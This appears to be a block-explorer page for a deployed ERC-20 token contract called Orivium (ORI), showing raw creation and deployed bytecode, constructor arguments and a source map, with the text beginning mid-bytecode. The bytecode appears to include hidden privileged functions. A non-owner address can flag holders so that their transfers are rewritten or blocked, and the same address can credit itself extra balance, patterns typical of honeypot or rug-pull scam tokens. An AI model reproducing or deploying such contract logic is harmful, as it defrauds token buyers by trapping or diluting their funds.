b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f6117fa602583611376565b9150611805826117a0565b604082019050919050565b5f6020820190508181035f830152611827816117ee565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611888602683611376565b91506118938261182e565b604082019050919050565b5f6020820190508181035f8301526118b58161187c565b9050919050565b5f8160011c9050919050565b5f808291508390505b6001851115611911578086048111156118ed576118ec611740565b5b60018516156118fc5780820291505b808102905061190a856118bc565b94506118d1565b94509492505050565b5f8261192957600190506119e4565b81611936575f90506119e4565b816001811461194c576002811461195657611985565b60019150506119e4565b60ff84111561196857611967611740565b5b8360020a91508482111561197f5761197e611740565b5b506119e4565b5060208310610133831016604e8410600b84101617156119ba5782820a9050838111156119b5576119b4611740565b5b6119e4565b6119c784848460016118c8565b925090508184048111156119de576119dd611740565b5b81810290505b9392505050565b5f6119f582611474565b9150611a0083611590565b9250611a2d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461191a565b905092915050565b5f611a3f82611474565b9150611a4a83611474565b9250828202611a5881611474565b91508282048414831517611a6f57611a6e611740565b5b5092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611ad0602483611376565b9150611adb82611a76565b604082019050919050565b5f6020820190508181035f830152611afd81611ac4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611b5e602283611376565b9150611b6982611b04565b604082019050919050565b5f6020820190508181035f830152611b8b81611b52565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611bec602583611376565b9150611bf782611b92565b604082019050919050565b5f6020820190508181035f830152611c1981611be0565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611c7a602383611376565b9150611c8582611c20565b604082019050919050565b5f6020820190508181035f830152611ca781611c6e565b9050919050565b5f611cb882611474565b9150611cc383611474565b9250828203905081811115611cdb57611cda611740565b5b92915050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611d3b602683611376565b9150611d4682611ce1565b604082019050919050565b5f6020820190508181035f830152611d6881611d2f565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611da3602083611376565b9150611dae82611d6f565b602082019050919050565b5f6020820190508181035f830152611dd081611d97565b905091905056fea2646970667358221220d70b6483cb46b6cae1d1c7e0c5d25bd69aa50e6de134eb589f0deb546de6d05164736f6c63430008140033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000936082e88833a1d0ab6963322098e9c5986d276600000000000000000000000000000000000000000000000000000000000000074f72697669756d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034f52490000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561000f575f80fd5b506004361061011f575f3560e01c806370a08231116100ab578063a457c2d71161006f578063a457c2d714610309578063a9059cbb14610339578063dd62ed3e14610369578063f2fde38b14610399578063fb86a404146103b55761011f565b806370a0823114610289578063715018a6146102b9578063751039fc146102c35780638da5cb5b146102cd57806395d89b41146102eb5761011f565b8063313ce567116100f2578063313ce567146101bf57806339509351146101dd5780634c8afff41461020d57806356ec63a51461022957806364473a12146102595761011f565b806306fdde0314610123578063095ea7b31461014157806318160ddd1461017157806323b872dd1461018f575b5f80fd5b61012b6103d3565b60405161013891906113f6565b60405180910390f35b61015b600480360381019061015691906114a7565b610463565b60405161016891906114ff565b60405180910390f35b610179610480565b6040516101869190611527565b60405180910390f35b6101a960048036038101906101a49190611540565b610489565b6040516101b691906114ff565b60405180910390f35b6101c761057b565b6040516101d491906115ab565b60405180910390f35b6101f760048036038101906101f291906114a7565b610583565b60405161020491906114ff565b60405180910390f35b610227600480360381019061022291906115c4565b61062a565b005b610243600480360381019061023e91906115c4565b6106f4565b60405161025091906114ff565b60405180910390f35b610273600480360381019061026e91906115c4565b6107c4565b60405161028091906114ff565b60405180910390f35b6102a3600480360381019061029e91906115c4565b6107e1565b6040516102b09190611527565b60405180910390f35b6102c1610827565b005b6102cb61083a565b005b6102d5610962565b6040516102e291906115fe565b60405180910390f35b6102f3610989565b60405161030091906113f6565b60405180910390f35b610323600480360381019061031e91906114a7565b610a19565b60405161033091906114ff565b60405180910390f35b610353600480360381019061034e91906114a7565b610aff565b60405161036091906114ff565b60405180910390f35b610383600480360381019061037e9190611617565b610b1c565b6040516103909190611527565b60405180910390f35b6103b360048036038101906103ae91906115c4565b610b9e565b005b6103bd610c20565b6040516103ca9190611527565b60405180910390f35b6060600580546103e290611682565b80601f016020809104026020016040519081016040528092919081815260200182805461040e90611682565b80156104595780601f1061043057610100808354040283529160200191610459565b820191905f5260205f20905b81548152906001019060200180831161043c57829003601f168201915b5050505050905090565b5f61047661046f610c40565b8484610c47565b6001905092915050565b5f600454905090565b5f610495848484610e0a565b5f60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104dc610c40565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508281101561055b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055290611722565b60405180910390fd5b61056f85610567610c40565b858403610c47565b60019150509392505050565b5f6012905090565b5f61062061058f610c40565b848460025f61059c610c40565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461061b919061176d565b610c47565b6001905092915050565b5f819050600a60019054906101000a900460ff1660035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106d1610c40565b73ffffffffffffffffffffffffffffffffffffffff16146106f0575f80fd5b5050565b5f80829050600a5f9054906101000a900460ff1660035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661079b610c40565b73ffffffffffffffffffffffffffffffffffffffff16146107ba575f80fd5b6001915050919050565b6003602052805f5260405f205f915054906101000a900460ff1681565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61082f61122d565b6108385f6112ab565b565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661087a610c40565b73ffffffffffffffffffffffffffffffffffffffff16036109605761089d610c40565b73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108f4575f80fd5b5f6108fd610c40565b90505f8190505f81905060095460015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610955919061176d565b925050819055505050505b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461099890611682565b80601f01602080910402602001604051908101604052809291908181526020018280546109c490611682565b8015610a0f5780601f106109e657610100808354040283529160200191610a0f565b820191905f5260205f20905b8154815290600101906020018083116109f257829003601f168201915b5050505050905090565b5f8060025f610a26610c40565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610ae0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad790611810565b60405180910390fd5b610af4610aeb610c40565b85858403610c47565b600191505092915050565b5f610b12610b0b610c40565b8484610e0a565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610ba661122d565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b9061189e565b60405180910390fd5b610c1d816112ab565b50565b6012600a610c2e91906119eb565b6305f5e100610c3d9190611a35565b81565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cac90611ae6565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1a90611b74565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610dfd9190611527565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e6f90611c02565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ee6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610edd90611c90565b60405180910390fd5b6001151560035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615150361102a5760085f9054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1660085f9054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1660015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460085f9054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16611013919061176d565b61101d919061176d565b6110279190611cae565b90505b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156110ae576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a590611d51565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546110f79190611cae565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611181919061176d565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161121f9190611527565b60405180910390a350505050565b611235610c40565b73ffffffffffffffffffffffffffffffffffffffff16611253610962565b73ffffffffffffffffffffffffffffffffffffffff16146112a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a090611db9565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156113a3578082015181840152602081019050611388565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6113c88261136c565b6113d28185611376565b93506113e2818560208601611386565b6113eb816113ae565b840191505092915050565b5f6020820190508181035f83015261140e81846113be565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6114438261141a565b9050919050565b61145381611439565b811461145d575f80fd5b50565b5f8135905061146e8161144a565b92915050565b5f819050919050565b61148681611474565b8114611490575f80fd5b50565b5f813590506114a18161147d565b92915050565b5f80604083850312156114bd576114bc611416565b5b5f6114ca85828601611460565b92505060206114db85828601611493565b9150509250929050565b5f8115159050919050565b6114f9816114e5565b82525050565b5f6020820190506115125f8301846114f0565b92915050565b61152181611474565b82525050565b5f60208201905061153a5f830184611518565b92915050565b5f805f6060848603121561155757611556611416565b5b5f61156486828701611460565b935050602061157586828701611460565b925050604061158686828701611493565b9150509250925092565b5f60ff82169050919050565b6115a581611590565b82525050565b5f6020820190506115be5f83018461159c565b92915050565b5f602082840312156115d9576115d8611416565b5b5f6115e684828501611460565b91505092915050565b6115f881611439565b82525050565b5f6020820190506116115f8301846115ef565b92915050565b5f806040838503121561162d5761162c611416565b5b5f61163a85828601611460565b925050602061164b85828601611460565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061169957607f821691505b6020821081036116ac576116ab611655565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f61170c602883611376565b9150611717826116b2565b604082019050919050565b5f6020820190508181035f83015261173981611700565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61177782611474565b915061178283611474565b925082820190508082111561179a57611799611740565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f6117fa602583611376565b9150611805826117a0565b604082019050919050565b5f6020820190508181035f830152611827816117ee565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611888602683611376565b91506118938261182e565b604082019050919050565b5f6020820190508181035f8301526118b58161187c565b9050919050565b5f8160011c9050919050565b5f808291508390505b6001851115611911578086048111156118ed576118ec611740565b5b60018516156118fc5780820291505b808102905061190a856118bc565b94506118d1565b94509492505050565b5f8261192957600190506119e4565b81611936575f90506119e4565b816001811461194c576002811461195657611985565b60019150506119e4565b60ff84111561196857611967611740565b5b8360020a91508482111561197f5761197e611740565b5b506119e4565b5060208310610133831016604e8410600b84101617156119ba5782820a9050838111156119b5576119b4611740565b5b6119e4565b6119c784848460016118c8565b925090508184048111156119de576119dd611740565b5b81810290505b9392505050565b5f6119f582611474565b9150611a0083611590565b9250611a2d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461191a565b905092915050565b5f611a3f82611474565b9150611a4a83611474565b9250828202611a5881611474565b91508282048414831517611a6f57611a6e611740565b5b5092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611ad0602483611376565b9150611adb82611a76565b604082019050919050565b5f6020820190508181035f830152611afd81611ac4565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611b5e602283611376565b9150611b6982611b04565b604082019050919050565b5f6020820190508181035f830152611b8b81611b52565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611bec602583611376565b9150611bf782611b92565b604082019050919050565b5f6020820190508181035f830152611c1981611be0565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611c7a602383611376565b9150611c8582611c20565b604082019050919050565b5f6020820190508181035f830152611ca781611c6e565b9050919050565b5f611cb882611474565b9150611cc383611474565b9250828203905081811115611cdb57611cda611740565b5b92915050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611d3b602683611376565b9150611d4682611ce1565b604082019050919050565b5f6020820190508181035f830152611d6881611d2f565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611da3602083611376565b9150611dae82611d6f565b602082019050919050565b5f6020820190508181035f830152611dd081611d97565b905091905056fea2646970667358221220d70b6483cb46b6cae1d1c7e0c5d25bd69aa50e6de134eb589f0deb546de6d05164736f6c63430008140033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000936082e88833a1d0ab6963322098e9c5986d276600000000000000000000000000000000000000000000000000000000000000074f72697669756d0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034f52490000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): Orivium
Arg [1] : symbol_ (string): ORI
Arg [2] : _to (address): 0x936082E88833A1D0AB6963322098e9C5986D2766

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 000000000000000000000000936082e88833a1d0ab6963322098e9c5986d2766
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [4] : 4f72697669756d00000000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [6] : 4f52490000000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

2441:5340:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3262:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5012:184;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3590:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5204:529;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3482:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5741:225;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4437:189;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4211:218;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2625:41;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3706:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1886:103;;;:::i;:::-;;3857:346;;;:::i;:::-;;1651:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3370:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5974:460;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4632:200;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4840:164;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1997:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2841:65;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3262:100;3316:13;3349:5;3342:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3262:100;:::o;5012:184::-;5115:4;5132:34;5141:12;:10;:12::i;:::-;5155:2;5159:6;5132:8;:34::i;:::-;5184:4;5177:11;;5012:184;;;;:::o;3590:108::-;3651:7;3678:12;;3671:19;;3590:108;:::o;5204:529::-;5344:4;5361:36;5371:6;5379:9;5390:6;5361:9;:36::i;:::-;5410:24;5437:11;:19;5449:6;5437:19;;;;;;;;;;;;;;;:33;5457:12;:10;:12::i;:::-;5437:33;;;;;;;;;;;;;;;;5410:60;;5523:6;5503:16;:26;;5481:116;;;;;;;;;;;;:::i;:::-;;;;;;;;;5633:57;5642:6;5650:12;:10;:12::i;:::-;5683:6;5664:16;:25;5633:8;:57::i;:::-;5721:4;5714:11;;;5204:529;;;;;:::o;3482:100::-;3540:5;2832:2;3558:16;;3482:100;:::o;5741:225::-;5849:4;5866:70;5875:12;:10;:12::i;:::-;5889:2;5925:10;5893:11;:25;5905:12;:10;:12::i;:::-;5893:25;;;;;;;;;;;;;;;:29;5919:2;5893:29;;;;;;;;;;;;;;;;:42;;;;:::i;:::-;5866:8;:70::i;:::-;5954:4;5947:11;;5741:225;;;;:::o;4437:189::-;4491:15;4509:6;4491:24;;4554:8;;;;;;;;;;;4533:9;:18;4543:7;4533:18;;;;;;;;;;;;;;;;:29;;;;;;;;;;;;;;;;;;4597:10;;;;;;;;;;;4581:26;;:12;:10;:12::i;:::-;:26;;;4573:35;;;;;;4480:146;4437:189;:::o;4211:218::-;4265:4;4282:15;4300:3;4282:21;;4341:10;;;;;;;;;;;4320:9;:18;4330:7;4320:18;;;;;;;;;;;;;;;;:31;;;;;;;;;;;;;;;;;;4386:10;;;;;;;;;;;4370:26;;:12;:10;:12::i;:::-;:26;;;4362:35;;;;;;4415:4;4408:11;;;4211:218;;;:::o;2625:41::-;;;;;;;;;;;;;;;;;;;;;;:::o;3706:143::-;3796:7;3823:9;:18;3833:7;3823:18;;;;;;;;;;;;;;;;3816:25;;3706:143;;;:::o;1886:103::-;1610:13;:11;:13::i;:::-;1951:30:::1;1978:1;1951:18;:30::i;:::-;1886:103::o:0;3857:346::-;3922:10;;;;;;;;;;;3906:26;;:12;:10;:12::i;:::-;:26;;;3903:290;;3973:12;:10;:12::i;:::-;3959:26;;:10;;;;;;;;;;;:26;;;3950:36;;;;;;4003:17;4023:12;:10;:12::i;:::-;4003:32;;4050:18;4071:9;4050:30;;4095:17;4115:10;4095:30;;4165:9;;4141;:20;4151:9;4141:20;;;;;;;;;;;;;;;;:33;;;;;;;:::i;:::-;;;;;;;;3933:260;;;3903:290;3857:346::o;1651:87::-;1697:7;1724:6;;;;;;;;;;;1717:13;;1651:87;:::o;3370:104::-;3426:13;3459:7;3452:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3370:104;:::o;5974:460::-;6087:4;6104:24;6131:11;:25;6143:12;:10;:12::i;:::-;6131:25;;;;;;;;;;;;;;;:29;6157:2;6131:29;;;;;;;;;;;;;;;;6104:56;;6213:15;6193:16;:35;;6171:122;;;;;;;;;;;;:::i;:::-;;;;;;;;;6329:62;6338:12;:10;:12::i;:::-;6352:2;6375:15;6356:16;:34;6329:8;:62::i;:::-;6422:4;6415:11;;;5974:460;;;;:::o;4632:200::-;4743:4;4760:42;4770:12;:10;:12::i;:::-;4784:9;4795:6;4760:9;:42::i;:::-;4820:4;4813:11;;4632:200;;;;:::o;4840:164::-;4948:7;4975:11;:17;4987:4;4975:17;;;;;;;;;;;;;;;:21;4993:2;4975:21;;;;;;;;;;;;;;;;4968:28;;4840:164;;;;:::o;1997:238::-;1610:13;:11;:13::i;:::-;2120:1:::1;2100:22;;:8;:22;;::::0;2078:110:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;2199:28;2218:8;2199:18;:28::i;:::-;1997:238:::0;:::o;2841:65::-;2832:2;2890;:15;;;;:::i;:::-;2875:11;:31;;;;:::i;:::-;2841:65;:::o;1099:98::-;1152:7;1179:10;1172:17;;1099:98;:::o;7420:356::-;7566:1;7550:18;;:4;:18;;;7542:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7642:1;7628:16;;:2;:16;;;7620:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;7720:6;7696:11;:17;7708:4;7696:17;;;;;;;;;;;;;;;:21;7714:2;7696:21;;;;;;;;;;;;;;;:30;;;;7757:2;7742:26;;7751:4;7742:26;;;7761:6;7742:26;;;;;;:::i;:::-;;;;;;;;7420:356;;;:::o;6442:686::-;6590:1;6574:18;;:4;:18;;;6566:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6675:1;6661:16;;:2;:16;;;6653:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;6753:4;6734:23;;:9;:15;6744:4;6734:15;;;;;;;;;;;;;;;;;;;;;;;;;:23;;;6730:100;;6819:9;;;;;;;;;;;6779:49;;6809:9;;;;;;;;;;;6779:39;;6791:9;:15;6801:4;6791:15;;;;;;;;;;;;;;;;6779:9;;;;;;;;;;;:27;;;;;;:::i;:::-;:39;;;;:::i;:::-;:49;;;;:::i;:::-;6770:58;;6730:100;6840:15;6858:9;:15;6868:4;6858:15;;;;;;;;;;;;;;;;6840:33;;6917:6;6906:7;:17;;6884:95;;;;;;;;;;;;:::i;:::-;;;;;;;;;7024:6;7008:9;:15;7018:4;7008:15;;;;;;;;;;;;;;;;:22;;;;:::i;:::-;6990:9;:15;7000:4;6990:15;;;;;;;;;;;;;;;:40;;;;7071:6;7057:9;:13;7067:2;7057:13;;;;;;;;;;;;;;;;:20;;;;:::i;:::-;7041:9;:13;7051:2;7041:13;;;;;;;;;;;;;;;:36;;;;7108:2;7093:26;;7102:4;7093:26;;;7112:6;7093:26;;;;;;:::i;:::-;;;;;;;;6555:573;6442:686;;;:::o;1746:132::-;1821:12;:10;:12::i;:::-;1810:23;;:7;:5;:7::i;:::-;:23;;;1802:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1746:132::o;2243:191::-;2317:16;2336:6;;;;;;;;;;;2317:25;;2362:8;2353:6;;:17;;;;;;;;;;;;;;;;;;2417:8;2386:40;;2407:8;2386:40;;;;;;;;;;;;2306:128;2243:191;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;::